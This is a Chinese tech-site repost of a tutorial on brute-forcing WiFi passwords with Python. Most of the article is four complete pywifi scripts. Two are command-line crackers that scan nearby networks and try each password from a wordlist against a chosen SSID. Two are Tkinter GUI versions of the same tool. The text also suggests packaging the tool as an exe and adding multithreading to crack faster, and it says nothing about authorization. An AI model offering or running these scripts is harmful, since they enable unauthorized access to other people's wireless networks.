0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

通過Python腳本實現(xiàn)WIFI密碼的暴力破解

馬哥Linux運維 ? 來源:CSDN技術社區(qū) ? 作者:Tr0e ? 2022-09-19 09:55 ? 次閱讀
前言 本文將記錄學習下如何通過 Python 腳本實現(xiàn) WIFI 密碼的暴力破解。 無圖形界面 先來看看沒有圖形界面版的爆破腳本。 WIFI爆破

		
			importpywifi frompywifiimportconst importtime importdatetime #測試連接,返回鏈接結果 defwifiConnect(pwd): #抓取網卡接口 wifi=pywifi.PyWiFi() #獲取第一個無線網卡 ifaces=wifi.interfaces()[0] #斷開所有連接 ifaces.disconnect() time.sleep(1) wifistatus=ifaces.status() ifwifistatus==const.IFACE_DISCONNECTED: #創(chuàng)建WiFi連接文件 profile=pywifi.Profile() #要連接WiFi的名稱 profile.ssid="Tr0e" #網卡的開放狀態(tài) profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法為wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密單元 profile.cipher=const.CIPHER_TYPE_CCMP #調用密碼 profile.key=pwd #刪除所有連接過的wifi文件 ifaces.remove_all_network_profiles() #設定新的連接文件 tep_profile=ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #wifi連接時間 time.sleep(2) ififaces.status()==const.IFACE_CONNECTED: returnTrue else: returnFalse else: print("已有wifi連接") #讀取密碼本 defreadPassword(): success=False print("******************WIFI破解******************") #密碼本路徑 path="pwd.txt" #打開文件 file=open(path,"r") start=datetime.datetime.now() whileTrue: try: pwd=file.readline() #去除密碼的末尾換行符 pwd=pwd.strip(' ') bool=wifiConnect(pwd) ifbool: print("[*]密碼已破解:",pwd) print("[*]WiFi已自動連接?。?!") success=True break else: #跳出當前循環(huán),進行下一次循環(huán) print("正在破解SSID為%s的WIFI密碼,當前校驗的密碼為:%s"%("Tr0e",pwd)) except: continue end=datetime.datetime.now() if(success): print("[*]本次破解WIFI密碼一共用了多長時間:{}".format(end-start)) else: print("[*]很遺憾未能幫你破解出當前指定WIFI的密碼,請更換密碼字典后重新嘗試!") exit(0) if__name__=="__main__": readPassword()
		代碼運行效果:
		da1e61e4-3759-11ed-ba43-dac502259ad0.png
		?腳本優(yōu)化
		以上腳本需內嵌 WIFI 名、爆破字典路徑,缺少靈活性。下面進行改造優(yōu)化:
		

		
			importpywifi importtime frompywifiimportconst #WiFi掃描模塊 defwifi_scan(): #初始化wifi wifi=pywifi.PyWiFi() #使用第一個無線網卡 interface=wifi.interfaces()[0] #開始掃描 interface.scan() foriinrange(4): time.sleep(1) print(' 掃描可用WiFi中,請稍后。。。('+str(3-i),end=')') print(' 掃描完成! '+'-'*38) print(' {:4}{:6}{}'.format('編號','信號強度','wifi名')) #掃描結果,scan_results()返回一個集,存放的是每個wifi對象 bss=interface.scan_results() #存放wifi名的集合 wifi_name_set=set() forwinbss: #解決亂碼問題 wifi_name_and_signal=(100+w.signal,w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) #存入列表并按信號排序 wifi_name_list=list(wifi_name_set) wifi_name_list=sorted(wifi_name_list,key=lambdaa:a[0],reverse=True) num=0 #格式化輸出 whilenumprint(' {:<6d}{:<8d}{}'.format(num,wifi_name_list[num][0],wifi_name_list[num][1])) num+=1 print('-'*38) #返回wifi列表 returnwifi_name_list #WIFI破解模塊 defwifi_password_crack(wifi_name): #字典路徑 wifi_dic_path=input("請輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個密碼占據(jù)1行)的路徑:") withopen(wifi_dic_path,'r')asf: #遍歷密碼 forpwdinf: #去除密碼的末尾換行符 pwd=pwd.strip(' ') #創(chuàng)建wifi對象 wifi=pywifi.PyWiFi() #創(chuàng)建網卡對象,為第一個wifi網卡 interface=wifi.interfaces()[0] #斷開所有wifi連接 interface.disconnect() #等待其斷開 whileinterface.status()==4: #當其處于連接狀態(tài)時,利用循環(huán)等待其斷開 pass #創(chuàng)建連接文件(對象) profile=pywifi.Profile() #wifi名稱 profile.ssid=wifi_name #需要認證 profile.auth=const.AUTH_ALG_OPEN #wifi默認加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher=const.CIPHER_TYPE_CCMP #wifi密碼 profile.key=pwd #刪除所有wifi連接文件 interface.remove_all_network_profiles() #設置新的wifi連接文件 tmp_profile=interface.add_network_profile(profile) #開始嘗試連接 interface.connect(tmp_profile) start_time=time.time() whiletime.time()-start_time#接口狀態(tài)為4代表連接成功(當嘗試時間大于1.5秒之后則為錯誤密碼,經測試測正確密碼一般都在1.5秒內連接,若要提高準確性可以設置為2s或以上,相應暴力破解速度就會變慢) ifinterface.status()==4: print(f' 連接成功!密碼為:{pwd}') exit(0) else: print(f' 正在利用密碼{pwd}嘗試破解。',end='') #主函數(shù) defmain(): #退出標致 exit_flag=0 #目標編號 target_num=-1 whilenotexit_flag: try: print('WiFi萬能鑰匙'.center(35,'-')) #調用掃描模塊,返回一個排序后的wifi列表 wifi_list=wifi_scan() #讓用戶選擇要破解的wifi編號,并對用戶輸入的編號進行判斷和異常處理 choose_exit_flag=0 whilenotchoose_exit_flag: try: target_num=int(input('請選擇你要嘗試破解的wifi:')) #如果要選擇的wifi編號在列表內,繼續(xù)二次判斷,否則重新輸入 iftarget_numinrange(len(wifi_list)): #二次確認 whilenotchoose_exit_flag: try: choose=str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)')) #對用戶輸入進行小寫處理,并判斷 ifchoose.lower()=='y': choose_exit_flag=1 elifchoose.lower()=='n': break #處理用戶其它字母輸入 else: print('只能輸入Y/N哦o(* ̄︶ ̄*)o') #處理用戶非字母輸入 exceptValueError: print('只能輸入Y/N哦o(* ̄︶ ̄*)o') #退出破解 ifchoose_exit_flag==1: break else: print('請重新輸入哦(*^▽^*)') exceptValueError: print('只能輸入數(shù)字哦o(* ̄︶ ̄*)o') #密碼破解,傳入用戶選擇的wifi名稱 wifi_password_crack(wifi_list[target_num][1]) print('-'*38) exit_flag=1 exceptExceptionase: print(e) raisee if__name__=='__main__': main()
		腳本運行效果如下:
		da2e4938-3759-11ed-ba43-dac502259ad0.png
		?上述代碼實現(xiàn)了依據(jù)信號強度枚舉當前附近的所有 WIFI 名稱,并且可供用戶自主選擇需要暴力破解的 WIFI,同時還可靈活指定暴力破解的字典,相對而言體驗感提升了不少。進一步也可以將上述腳本打包生成 exe 文件,雙擊運行效果如下:
		da4104f6-3759-11ed-ba43-dac502259ad0.png
		?圖形化界面
		下面基于 Python 的 GUI 圖形界面開發(fā)庫 Tkinter 優(yōu)化上述腳本,實現(xiàn)友好的可視化 WIFI 暴力破解界面工具。關于 Tkinter 庫的語法可參見:Python GUI編程(Tkinter)。
		簡單版UI
		

		
			fromtkinterimport* frompywifiimportconst importpywifi importtime #主要步驟: #1、獲取第一個無線網卡 #2、斷開所有的wifi #3、讀取密碼本 #4、設置睡眠時間 defwificonnect(str,wifiname): #窗口無線對象 wifi=pywifi.PyWiFi() #抓取第一個無線網卡 ifaces=wifi.interfaces()[0] #斷開所有的wifi ifaces.disconnect() time.sleep(1) ififaces.status()==const.IFACE_DISCONNECTED: #創(chuàng)建wifi連接文件 profile=pywifi.Profile() profile.ssid=wifiname #wifi的加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi的密碼 profile.key=str #網卡的開發(fā) profile.auth=const.AUTH_ALG_OPEN #加密單元,這里需要寫點加密單元否則無法連接 profile.cipher=const.CIPHER_TYPE_CCMP #刪除所有的wifi文件 ifaces.remove_all_network_profiles() #設置新的連接文件 tep_profile=ifaces.add_network_profile(profile) #連接 ifaces.connect(tep_profile) time.sleep(3) ififaces.status()==const.IFACE_CONNECTED: returnTrue else: returnFalse defreadPwd(): #獲取wiif名稱 wifiname=entry.get().strip() path=r'./pwd.txt' file=open(path,'r') whileTrue: try: #讀取 mystr=file.readline().strip() #測試連接 bool=wificonnect(mystr,wifiname) ifbool: text.insert(END,'密碼正確'+mystr) text.see(END) text.update() file.close() break else: text.insert(END,'密碼錯誤'+mystr) text.see(END) text.update() except: continue #創(chuàng)建窗口 root=Tk() root.title('wifi破解') root.geometry('500x400') #標簽 label=Label(root,text='輸入要破解的WIFI名稱:') #定位 label.grid() #輸入控件 entry=Entry(root,font=('微軟雅黑',14)) entry.grid(row=0,column=1) #列表控件 text=Listbox(root,font=('微軟雅黑',14),width=40,height=10) text.grid(row=1,columnspan=2) #按鈕 button=Button(root,text='開始破解',width=20,height=2,command=readPwd) button.grid(row=2,columnspan=2) #顯示窗口 root.mainloop()
		腳本運行效果:
		da52ca88-3759-11ed-ba43-dac502259ad0.png
		?UI升級版
		以上圖形界面未允許選擇密碼字典,下面進行優(yōu)化升級:
		

		
			fromtkinterimport* fromtkinterimportttk importpywifi frompywifiimportconst importtime importtkinter.filedialog#在Gui中打開文件瀏覽 importtkinter.messagebox#打開tkiner的消息提醒框 classMY_GUI(): def__init__(self,init_window_name): self.init_window_name=init_window_name #密碼文件路徑 self.get_value=StringVar()#設置可變內容 #獲取破解wifi賬號 self.get_wifi_value=StringVar() #獲取wifi密碼 self.get_wifimm_value=StringVar() #抓取網卡接口 self.wifi=pywifi.PyWiFi() #抓取第一個無線網卡 self.iface=self.wifi.interfaces()[0] #測試鏈接斷開所有鏈接 self.iface.disconnect() time.sleep(1)#休眠1秒 #測試網卡是否屬于斷開狀態(tài) assertself.iface.status()in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE] def__str__(self): #自動會調用的函數(shù),返回自身的網卡 return'(WIFI:%s,%s)'%(self.wifi,self.iface.name()) #設置窗口 defset_init_window(self): self.init_window_name.title("WIFI破解工具") self.init_window_name.geometry('+500+200') labelframe=LabelFrame(width=400,height=200,text="配置")#框架,以下對象都是對于labelframe中添加的 labelframe.grid(column=0,row=0,padx=10,pady=10) self.search=Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0) self.pojie=Button(labelframe,text="開始破解",command=self.readPassWord).grid(column=1,row=0) self.label=Label(labelframe,text="目錄路徑:").grid(column=0,row=1) self.path=Entry(labelframe,width=12,textvariable=self.get_value).grid(column=1,row=1) self.file=Button(labelframe,text="添加密碼文件目錄",command=self.add_mm_file).grid(column=2,row=1) self.wifi_text=Label(labelframe,text="WiFi賬號:").grid(column=0,row=2) self.wifi_input=Entry(labelframe,width=12,textvariable=self.get_wifi_value).grid(column=1,row=2) self.wifi_mm_text=Label(labelframe,text="WiFi密碼:").grid(column=2,row=2) self.wifi_mm_input=Entry(labelframe,width=10,textvariable=self.get_wifimm_value).grid(column=3,row=2,sticky=W) self.wifi_labelframe=LabelFrame(text="wifi列表") self.wifi_labelframe.grid(column=0,row=3,columnspan=4,sticky=NSEW) #定義樹形結構與滾動條 self.wifi_tree=ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a","b","c","d")) self.vbar=ttk.Scrollbar(self.wifi_labelframe,orient=VERTICAL,command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) #表格的標題 self.wifi_tree.column("a",width=50,anchor="center") self.wifi_tree.column("b",width=100,anchor="center") self.wifi_tree.column("c",width=100,anchor="center") self.wifi_tree.column("d",width=100,anchor="center") self.wifi_tree.heading("a",text="WiFiID") self.wifi_tree.heading("b",text="SSID") self.wifi_tree.heading("c",text="BSSID") self.wifi_tree.heading("d",text="signal") self.wifi_tree.grid(row=4,column=0,sticky=NSEW) self.wifi_tree.bind("",self.onDBClick) self.vbar.grid(row=4,column=1,sticky=NS) #搜索wifi defscans_wifi_list(self):#掃描周圍wifi列表 #開始掃描 print("^_^開始掃描附近wifi...") self.iface.scan() time.sleep(15) #在若干秒后獲取掃描結果 scanres=self.iface.scan_results() #統(tǒng)計附近被發(fā)現(xiàn)的熱點數(shù)量 nums=len(scanres) print("數(shù)量:%s"%(nums)) #實際數(shù)據(jù) self.show_scans_wifi_list(scanres) returnscanres #顯示wifi列表 defshow_scans_wifi_list(self,scans_res): forindex,wifi_infoinenumerate(scans_res): self.wifi_tree.insert("",'end',values=(index+1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) #添加密碼文件目錄 defadd_mm_file(self): self.filename=tkinter.filedialog.askopenfilename() self.get_value.set(self.filename) #Treeview綁定事件 defonDBClick(self,event): self.sels=event.widget.selection() self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1]) #讀取密碼字典,進行匹配 defreadPassWord(self): self.getFilePath=self.get_value.get() self.get_wifissid=self.get_wifi_value.get() pwdfilehander=open(self.getFilePath,"r",errors="ignore") whileTrue: try: self.pwdStr=pwdfilehander.readline() ifnotself.pwdStr: break self.bool1=self.connect(self.pwdStr,self.get_wifissid) ifself.bool1: self.res="[*]密碼正確!wifi名:%s,匹配密碼:%s"%(self.get_wifissid,self.pwdStr) self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo('提示','破解成功?。?!') print(self.res) break else: self.res="[*]密碼錯誤!wifi名:%s,匹配密碼:%s"%(self.get_wifissid,self.pwdStr) print(self.res) time.sleep(3) except: continue #對wifi和密碼進行匹配 defconnect(self,pwd_Str,wifi_ssid): #創(chuàng)建wifi鏈接文件 self.profile=pywifi.Profile() self.profile.ssid=wifi_ssid#wifi名稱 self.profile.auth=const.AUTH_ALG_OPEN#網卡的開放 self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法 self.profile.cipher=const.CIPHER_TYPE_CCMP#加密單元 self.profile.key=pwd_Str#密碼 self.iface.remove_all_network_profiles()#刪除所有的wifi文件 self.tmp_profile=self.iface.add_network_profile(self.profile)#設定新的鏈接文件 self.iface.connect(self.tmp_profile)#鏈接 time.sleep(5) ifself.iface.status()==const.IFACE_CONNECTED:#判斷是否連接上 isOK=True else: isOK=False self.iface.disconnect()#斷開 time.sleep(1) #檢查斷開狀態(tài) assertself.iface.status()in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE] returnisOK defgui_start(): init_window=Tk() ui=MY_GUI(init_window) print(ui) ui.set_init_window() init_window.mainloop() if__name__=="__main__": gui_start()
		腳本運行效果如下:
		da62ffca-3759-11ed-ba43-dac502259ad0.png
		?以上基于 Python 的 GUI 圖形界面開發(fā)庫 Tkinter,實際上 Python 的 GUI 編程可以借助 PyQt5 來自動生成 UI 代碼。
		總結
		本文學習了 Python 暴力破解 WIFI 密碼的方法、以及 Python GUI 圖形化編程的基礎使用。
		所演示的代碼的不足在于均沒有使用多線程進行 WIFI 連接測試,實際上因為 WIFI 連接測試需要一定的耗時(3-5秒),故使用多線程將能減少暴力破解過程的等待時間。

審核編輯:湯梓紅

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • WIFI
    +關注

    關注

    81

    文章

    5256

    瀏覽量

    201694
  • python
    +關注

    關注

    53

    文章

    4753

    瀏覽量

    84068
  • 腳本
    +關注

    關注

    1

    文章

    382

    瀏覽量

    14760

原文標題:用 Python 破解 WiFi 密碼,太刺激了!

文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    通過Python腳本實現(xiàn)WIFI密碼的自動猜解

    本文將記錄學習下如何通過 Python 腳本實現(xiàn) WIFI 密碼的自動猜解。
    的頭像 發(fā)表于 01-25 10:46 ?2639次閱讀
    <b class='flag-5'>通過</b><b class='flag-5'>Python</b><b class='flag-5'>腳本</b><b class='flag-5'>實現(xiàn)</b><b class='flag-5'>WIFI</b><b class='flag-5'>密碼</b>的自動猜解

    Labview 如何找回VI的密碼.請高手指教.

    本帖最后由 wayne_2001 于 2015-3-7 20:00 編輯 我之前寫的vi,現(xiàn)在想看下程序,結果不記得密碼了,在本論壇中找到一個暴力破解器,太慢了,根本破解了.哪位高手能幫幫忙
    發(fā)表于 02-28 09:52

    LabView密碼破解暴力模式小程序

    LabView密碼破解暴力模式小程序,得重新去下載破解密碼的字典
    發(fā)表于 12-18 10:33

    labview密碼破解

    求助,軟件是去年改過的不知道誰設置了密碼,都說不知道。暴力破解字典實在太大。速度太慢,故求幫助~~PS :網上說的MD5破解,試了下也沒成。大神們,求交流~~
    發(fā)表于 01-19 23:37

    labview如何寫暴力破解密碼 密碼4位數(shù) 由1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ 如何每次讀取一個數(shù)進行測試完成后進行下一個測試

    labview如何寫暴力破解密碼 密碼4位數(shù) 由1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ 如何每次讀取一個數(shù)進行測試完成后進行下一個測試
    發(fā)表于 02-17 09:46

    使用kali破解無線密碼

    密碼信息文件8.開始破解抓取的密碼文件#這里請大家自行準備密碼本,我這里的密碼本叫做 pass.txt#最后獲得無線
    發(fā)表于 06-13 16:02

    何為暴力破解

    ps:代碼復制黏貼即可,有什么問題下方留言,博主會及時回復 !工具:1:筆記本2:USB無線網卡(必備)3:kali系統(tǒng)4:靠譜字典暴力破解法:何為暴力破解呢,其實就是一個一個密碼試,直到正確的
    發(fā)表于 07-15 09:46

    神器真能破解WiFi密碼?

    萬能WiFi密碼破解器,35元一個!近日,市民崔先生在街頭看到有人兜售一款U盤形狀的蹭網神器,小販稱此神器能自動搜索附近 WiFi破解密碼
    發(fā)表于 12-05 05:29 ?1722次閱讀

    如何破解WiFi密碼原理是怎么樣的

    為了安全期間,曝露在身邊的WiFi信號都是經過加密的。為了得到這些wifi密碼,除了向主人詢問之外,那就是破解了。
    的頭像 發(fā)表于 02-24 11:24 ?2.7w次閱讀

    字符串硬核暴力破解法講解

    1 暴力破解法 在主串A中查找模式串B的出現(xiàn)位置,其中如果A的長度是n,B的長度是m,則n 》 m。當我們暴力匹配時,在主串A中匹配起始位置分別是 0、1、2….n-m 且長度為 m 的 n-m+1
    的頭像 發(fā)表于 04-04 11:50 ?2876次閱讀
    字符串硬核<b class='flag-5'>暴力破解</b>法講解

    IP知識百科之暴力破解

    暴力破解 暴力破解是一種針對于密碼的破譯方法,將密碼進行逐個推算直到找出真正的密碼為止。設置長而復雜的
    的頭像 發(fā)表于 09-06 09:28 ?4058次閱讀

    如何通過Python腳本實現(xiàn)WIFI密碼暴力破解

    前言 本文將記錄學習下如何通過 Python 腳本實現(xiàn) WIFI 密碼
    的頭像 發(fā)表于 09-10 17:09 ?1.7w次閱讀
    如何<b class='flag-5'>通過</b><b class='flag-5'>Python</b><b class='flag-5'>腳本</b><b class='flag-5'>實現(xiàn)</b><b class='flag-5'>WIFI</b><b class='flag-5'>密碼</b>的<b class='flag-5'>暴力破解</b>

    暴力破解壓縮包密碼

    可以暴力破解壓縮包密碼
    發(fā)表于 08-08 14:23 ?9次下載

    會用kali破解wifi嗎?

    準備好 [kali] 系統(tǒng),電腦可以鏈接無線 wifi!! 使用 Aircrack-ng 進行暴力破解,linux 上已經安裝此工具!
    的頭像 發(fā)表于 12-05 11:54 ?1421次閱讀

    如何通過Python來找回wifi密碼

    管理頁面,但是如果你連路由器密碼也忘了,那就非常尷尬。 還有一種方法是通過iCloud鑰匙串,但這個方法非常麻煩,需要通過備份獲取。 今天告訴大家一個最簡單的方法:通過
    的頭像 發(fā)表于 11-02 14:42 ?594次閱讀
    如何<b class='flag-5'>通過</b><b class='flag-5'>Python</b>來找回<b class='flag-5'>wifi</b><b class='flag-5'>密碼</b>